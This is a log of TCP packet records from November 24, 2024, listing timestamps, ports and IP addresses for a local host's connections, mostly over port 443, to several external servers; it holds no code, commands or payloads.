Nov 24, 2024 04:20:28.056140900 CET	49753	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:28.056159973 CET	443	49753	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:28.056184053 CET	49753	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:28.056205034 CET	49753	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:28.071598053 CET	443	49753	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:28.071616888 CET	443	49753	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:28.071702003 CET	49753	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:28.071722031 CET	443	49753	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:28.071791887 CET	49753	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:28.087065935 CET	443	49753	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:28.087084055 CET	443	49753	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:28.087131977 CET	49753	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:28.087142944 CET	443	49753	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:28.087178946 CET	49753	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:28.087196112 CET	49753	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:28.100445032 CET	443	49753	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:28.100460052 CET	443	49753	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:28.100531101 CET	49753	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:28.100538969 CET	443	49753	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:28.100583076 CET	49753	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:28.115963936 CET	443	49753	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:28.115979910 CET	443	49753	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:28.116008997 CET	49753	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:28.116055965 CET	49753	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:28.116063118 CET	443	49753	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:28.116137981 CET	49753	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:28.130352020 CET	443	49753	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:28.130369902 CET	443	49753	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:28.130424023 CET	49753	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:28.130431890 CET	443	49753	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:28.130472898 CET	49753	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:28.145836115 CET	443	49753	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:28.145854950 CET	443	49753	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:28.145922899 CET	49753	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:28.145931959 CET	443	49753	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:28.146090031 CET	49753	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:28.254138947 CET	443	49758	142.250.181.100	192.168.2.6
Nov 24, 2024 04:20:28.254462004 CET	49758	443	192.168.2.6	142.250.181.100
Nov 24, 2024 04:20:28.254471064 CET	443	49758	142.250.181.100	192.168.2.6
Nov 24, 2024 04:20:28.255480051 CET	443	49758	142.250.181.100	192.168.2.6
Nov 24, 2024 04:20:28.255542040 CET	49758	443	192.168.2.6	142.250.181.100
Nov 24, 2024 04:20:28.256851912 CET	49758	443	192.168.2.6	142.250.181.100
Nov 24, 2024 04:20:28.256911993 CET	443	49758	142.250.181.100	192.168.2.6
Nov 24, 2024 04:20:28.256984949 CET	49758	443	192.168.2.6	142.250.181.100
Nov 24, 2024 04:20:28.260423899 CET	443	49753	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:28.260457993 CET	443	49753	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:28.260504961 CET	49753	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:28.260535955 CET	443	49753	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:28.260555983 CET	49753	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:28.260582924 CET	49753	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:28.262618065 CET	443	49761	142.250.181.100	192.168.2.6
Nov 24, 2024 04:20:28.262918949 CET	49761	443	192.168.2.6	142.250.181.100
Nov 24, 2024 04:20:28.262940884 CET	443	49761	142.250.181.100	192.168.2.6
Nov 24, 2024 04:20:28.266467094 CET	443	49761	142.250.181.100	192.168.2.6
Nov 24, 2024 04:20:28.266536951 CET	49761	443	192.168.2.6	142.250.181.100
Nov 24, 2024 04:20:28.266901016 CET	49761	443	192.168.2.6	142.250.181.100
Nov 24, 2024 04:20:28.267056942 CET	49761	443	192.168.2.6	142.250.181.100
Nov 24, 2024 04:20:28.267062902 CET	443	49761	142.250.181.100	192.168.2.6
Nov 24, 2024 04:20:28.271867037 CET	443	49753	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:28.271889925 CET	443	49753	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:28.271943092 CET	49753	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:28.271970987 CET	443	49753	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:28.272003889 CET	49753	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:28.272027969 CET	49753	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:28.283183098 CET	443	49753	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:28.283205032 CET	443	49753	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:28.283276081 CET	49753	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:28.283293009 CET	443	49753	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:28.283396959 CET	49753	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:28.283396959 CET	49753	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:28.292969942 CET	443	49753	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:28.292994976 CET	443	49753	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:28.293031931 CET	49753	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:28.293054104 CET	443	49753	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:28.293075085 CET	49753	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:28.293097019 CET	49753	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:28.299105883 CET	443	49759	142.250.181.100	192.168.2.6
Nov 24, 2024 04:20:28.299336910 CET	443	49758	142.250.181.100	192.168.2.6
Nov 24, 2024 04:20:28.299386024 CET	49759	443	192.168.2.6	142.250.181.100
Nov 24, 2024 04:20:28.299395084 CET	443	49759	142.250.181.100	192.168.2.6
Nov 24, 2024 04:20:28.300474882 CET	443	49760	142.250.181.100	192.168.2.6
Nov 24, 2024 04:20:28.300606966 CET	443	49759	142.250.181.100	192.168.2.6
Nov 24, 2024 04:20:28.300669909 CET	49759	443	192.168.2.6	142.250.181.100
Nov 24, 2024 04:20:28.300729036 CET	49760	443	192.168.2.6	142.250.181.100
Nov 24, 2024 04:20:28.300749063 CET	443	49760	142.250.181.100	192.168.2.6
Nov 24, 2024 04:20:28.301214933 CET	49759	443	192.168.2.6	142.250.181.100
Nov 24, 2024 04:20:28.301296949 CET	443	49759	142.250.181.100	192.168.2.6
Nov 24, 2024 04:20:28.301301003 CET	49759	443	192.168.2.6	142.250.181.100
Nov 24, 2024 04:20:28.301822901 CET	443	49760	142.250.181.100	192.168.2.6
Nov 24, 2024 04:20:28.301884890 CET	49760	443	192.168.2.6	142.250.181.100
Nov 24, 2024 04:20:28.302278996 CET	49760	443	192.168.2.6	142.250.181.100
Nov 24, 2024 04:20:28.302349091 CET	443	49760	142.250.181.100	192.168.2.6
Nov 24, 2024 04:20:28.302421093 CET	49760	443	192.168.2.6	142.250.181.100
Nov 24, 2024 04:20:28.302429914 CET	443	49760	142.250.181.100	192.168.2.6
Nov 24, 2024 04:20:28.303426027 CET	443	49753	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:28.303450108 CET	443	49753	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:28.303529978 CET	49753	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:28.303545952 CET	443	49753	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:28.303627014 CET	49753	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:28.311335087 CET	443	49761	142.250.181.100	192.168.2.6
Nov 24, 2024 04:20:28.314765930 CET	443	49753	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:28.314794064 CET	443	49753	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:28.314836025 CET	49753	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:28.314856052 CET	443	49753	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:28.314878941 CET	49753	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:28.314940929 CET	49753	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:28.318887949 CET	49761	443	192.168.2.6	142.250.181.100
Nov 24, 2024 04:20:28.318901062 CET	443	49761	142.250.181.100	192.168.2.6
Nov 24, 2024 04:20:28.325937986 CET	443	49753	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:28.325958014 CET	443	49753	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:28.326015949 CET	49753	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:28.326035023 CET	443	49753	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:28.326054096 CET	49753	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:28.326081038 CET	49753	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:28.347328901 CET	443	49759	142.250.181.100	192.168.2.6
Nov 24, 2024 04:20:28.350126028 CET	49759	443	192.168.2.6	142.250.181.100
Nov 24, 2024 04:20:28.350133896 CET	443	49759	142.250.181.100	192.168.2.6
Nov 24, 2024 04:20:28.370985985 CET	49761	443	192.168.2.6	142.250.181.100
Nov 24, 2024 04:20:28.403533936 CET	49759	443	192.168.2.6	142.250.181.100
Nov 24, 2024 04:20:28.410717010 CET	443	49764	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:28.412231922 CET	49764	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:28.412250996 CET	443	49764	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:28.412817955 CET	49764	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:28.412822008 CET	443	49764	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:28.440207958 CET	443	49763	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:28.440943956 CET	49763	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:28.440948009 CET	443	49762	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:28.440958023 CET	443	49763	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:28.441509008 CET	49763	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:28.441514015 CET	443	49763	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:28.441848993 CET	49762	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:28.441864967 CET	443	49762	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:28.442414999 CET	49762	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:28.442420006 CET	443	49762	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:28.453576088 CET	443	49753	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:28.453603029 CET	443	49753	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:28.453656912 CET	49753	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:28.453675032 CET	443	49753	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:28.453702927 CET	49753	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:28.453723907 CET	49753	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:28.462327957 CET	443	49753	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:28.462351084 CET	443	49753	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:28.462395906 CET	49753	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:28.462414980 CET	443	49753	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:28.462436914 CET	49753	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:28.462469101 CET	49753	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:28.463370085 CET	443	49758	142.250.181.100	192.168.2.6
Nov 24, 2024 04:20:28.463463068 CET	49758	443	192.168.2.6	142.250.181.100
Nov 24, 2024 04:20:28.470066071 CET	443	49753	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:28.470088005 CET	443	49753	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:28.470144987 CET	49753	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:28.470163107 CET	443	49753	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:28.470192909 CET	49753	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:28.470227003 CET	49753	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:28.478779078 CET	443	49753	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:28.478799105 CET	443	49753	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:28.478843927 CET	49753	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:28.478862047 CET	443	49753	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:28.478888988 CET	49753	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:28.478940964 CET	49753	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:28.481673002 CET	49760	443	192.168.2.6	142.250.181.100
Nov 24, 2024 04:20:28.487677097 CET	443	49753	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:28.487696886 CET	443	49753	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:28.487751007 CET	49753	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:28.487771988 CET	443	49753	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:28.487821102 CET	49753	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:28.495925903 CET	443	49753	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:28.495945930 CET	443	49753	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:28.496000051 CET	49753	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:28.496017933 CET	443	49753	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:28.496042967 CET	49753	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:28.496062040 CET	49753	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:28.499454975 CET	443	49765	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:28.504745007 CET	443	49753	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:28.504765034 CET	443	49753	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:28.504820108 CET	49753	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:28.504837036 CET	443	49753	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:28.504859924 CET	49753	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:28.504879951 CET	49753	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:28.512422085 CET	443	49753	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:28.512444019 CET	443	49753	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:28.512482882 CET	49753	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:28.512502909 CET	443	49753	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:28.512531042 CET	49753	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:28.512543917 CET	49753	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:28.513870955 CET	49765	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:28.513885975 CET	443	49765	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:28.514192104 CET	49765	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:28.514198065 CET	443	49765	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:28.546880960 CET	443	49766	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:28.547528028 CET	49766	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:28.547544956 CET	443	49766	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:28.548165083 CET	49766	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:28.548175097 CET	443	49766	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:28.571289062 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:28.571363926 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:28.601953983 CET	49761	443	192.168.2.6	142.250.181.100
Nov 24, 2024 04:20:28.602049112 CET	443	49761	142.250.181.100	192.168.2.6
Nov 24, 2024 04:20:28.602154016 CET	49761	443	192.168.2.6	142.250.181.100
Nov 24, 2024 04:20:28.635277033 CET	49770	443	192.168.2.6	20.103.156.88
Nov 24, 2024 04:20:28.635320902 CET	443	49770	20.103.156.88	192.168.2.6
Nov 24, 2024 04:20:28.635644913 CET	49770	443	192.168.2.6	20.103.156.88
Nov 24, 2024 04:20:28.636713028 CET	49770	443	192.168.2.6	20.103.156.88
Nov 24, 2024 04:20:28.636729002 CET	443	49770	20.103.156.88	192.168.2.6
Nov 24, 2024 04:20:28.655091047 CET	443	49753	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:28.655121088 CET	443	49753	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:28.655196905 CET	49753	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:28.655219078 CET	443	49753	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:28.655333996 CET	49753	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:28.662640095 CET	443	49753	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:28.662666082 CET	443	49753	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:28.662708044 CET	49753	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:28.662729025 CET	443	49753	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:28.662760019 CET	49753	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:28.662775993 CET	49753	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:28.671391964 CET	443	49753	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:28.671412945 CET	443	49753	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:28.671453953 CET	49753	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:28.671480894 CET	443	49753	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:28.671503067 CET	49753	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:28.671515942 CET	49753	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:28.680013895 CET	443	49753	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:28.680035114 CET	443	49753	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:28.680084944 CET	49753	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:28.680104017 CET	443	49753	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:28.680128098 CET	49753	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:28.680144072 CET	49753	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:28.687546968 CET	443	49753	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:28.687608004 CET	443	49753	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:28.687659979 CET	49753	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:28.687678099 CET	443	49753	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:28.687701941 CET	49753	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:28.687717915 CET	49753	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:28.696855068 CET	443	49753	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:28.696875095 CET	443	49753	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:28.696926117 CET	49753	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:28.696943998 CET	443	49753	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:28.696960926 CET	49753	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:28.696981907 CET	49753	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:28.700664997 CET	49771	443	192.168.2.6	4.175.87.197
Nov 24, 2024 04:20:28.700700998 CET	443	49771	4.175.87.197	192.168.2.6
Nov 24, 2024 04:20:28.700781107 CET	49771	443	192.168.2.6	4.175.87.197
Nov 24, 2024 04:20:28.704431057 CET	443	49753	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:28.704452038 CET	443	49753	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:28.704483986 CET	49753	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:28.704497099 CET	443	49753	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:28.704519987 CET	49753	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:28.704539061 CET	49753	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:28.713330984 CET	443	49753	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:28.713352919 CET	443	49753	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:28.713419914 CET	49753	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:28.713438988 CET	443	49753	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:28.715760946 CET	49753	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:28.740809917 CET	49771	443	192.168.2.6	4.175.87.197
Nov 24, 2024 04:20:28.740833044 CET	443	49771	4.175.87.197	192.168.2.6
Nov 24, 2024 04:20:28.856426954 CET	443	49753	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:28.856451988 CET	443	49753	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:28.856509924 CET	49753	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:28.856528997 CET	443	49753	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:28.856564999 CET	49753	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:28.856585026 CET	49753	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:28.863914967 CET	443	49753	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:28.863935947 CET	443	49753	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:28.863989115 CET	49753	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:28.864006996 CET	443	49753	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:28.864037037 CET	49753	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:28.864047050 CET	49753	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:28.872793913 CET	443	49753	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:28.872817993 CET	443	49753	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:28.872895956 CET	49753	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:28.872914076 CET	443	49753	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:28.873030901 CET	49753	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:28.881326914 CET	443	49753	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:28.881346941 CET	443	49753	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:28.881414890 CET	49753	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:28.881433010 CET	443	49753	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:28.881536007 CET	49753	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:28.882366896 CET	443	49764	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:28.882441044 CET	443	49764	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:28.882519960 CET	49764	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:28.882821083 CET	49764	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:28.882821083 CET	49764	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:28.882838964 CET	443	49764	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:28.882850885 CET	443	49764	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:28.886348009 CET	49772	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:28.886393070 CET	443	49772	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:28.886531115 CET	49772	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:28.886856079 CET	49772	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:28.886873960 CET	443	49772	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:28.890081882 CET	443	49753	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:28.890101910 CET	443	49753	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:28.890151978 CET	49753	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:28.890170097 CET	443	49753	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:28.890245914 CET	49753	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:28.893218994 CET	443	49762	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:28.893274069 CET	443	49762	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:28.893317938 CET	49762	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:28.893492937 CET	49762	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:28.893505096 CET	443	49762	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:28.896919012 CET	443	49753	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:28.896955013 CET	443	49753	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:28.896986008 CET	443	49753	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:28.896995068 CET	49753	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:28.897010088 CET	443	49753	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:28.897022009 CET	443	49753	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:28.897025108 CET	49753	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:28.897042990 CET	49753	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:28.897067070 CET	49753	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:28.897248030 CET	49773	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:28.897277117 CET	443	49773	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:28.897351980 CET	49773	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:28.897684097 CET	49773	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:28.897695065 CET	443	49773	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:28.898914099 CET	443	49763	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:28.898983002 CET	443	49763	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:28.899106026 CET	49763	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:28.899214029 CET	49763	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:28.899226904 CET	443	49763	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:28.899236917 CET	49763	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:28.899246931 CET	443	49763	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:28.903170109 CET	49774	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:28.903183937 CET	443	49774	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:28.903508902 CET	49774	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:28.903819084 CET	49774	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:28.903829098 CET	443	49774	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:28.906537056 CET	49753	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:28.906559944 CET	443	49753	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:28.944513083 CET	443	49765	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:28.944590092 CET	443	49765	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:28.944772005 CET	49765	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:28.944772005 CET	49765	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:28.944772005 CET	49765	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:28.946979046 CET	49775	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:28.946993113 CET	443	49775	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:28.947083950 CET	49775	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:28.947216988 CET	49775	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:28.947228909 CET	443	49775	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:28.991242886 CET	443	49766	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:28.991307020 CET	443	49766	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:28.991539001 CET	49766	443	192.168.2.6	13.107.246.63
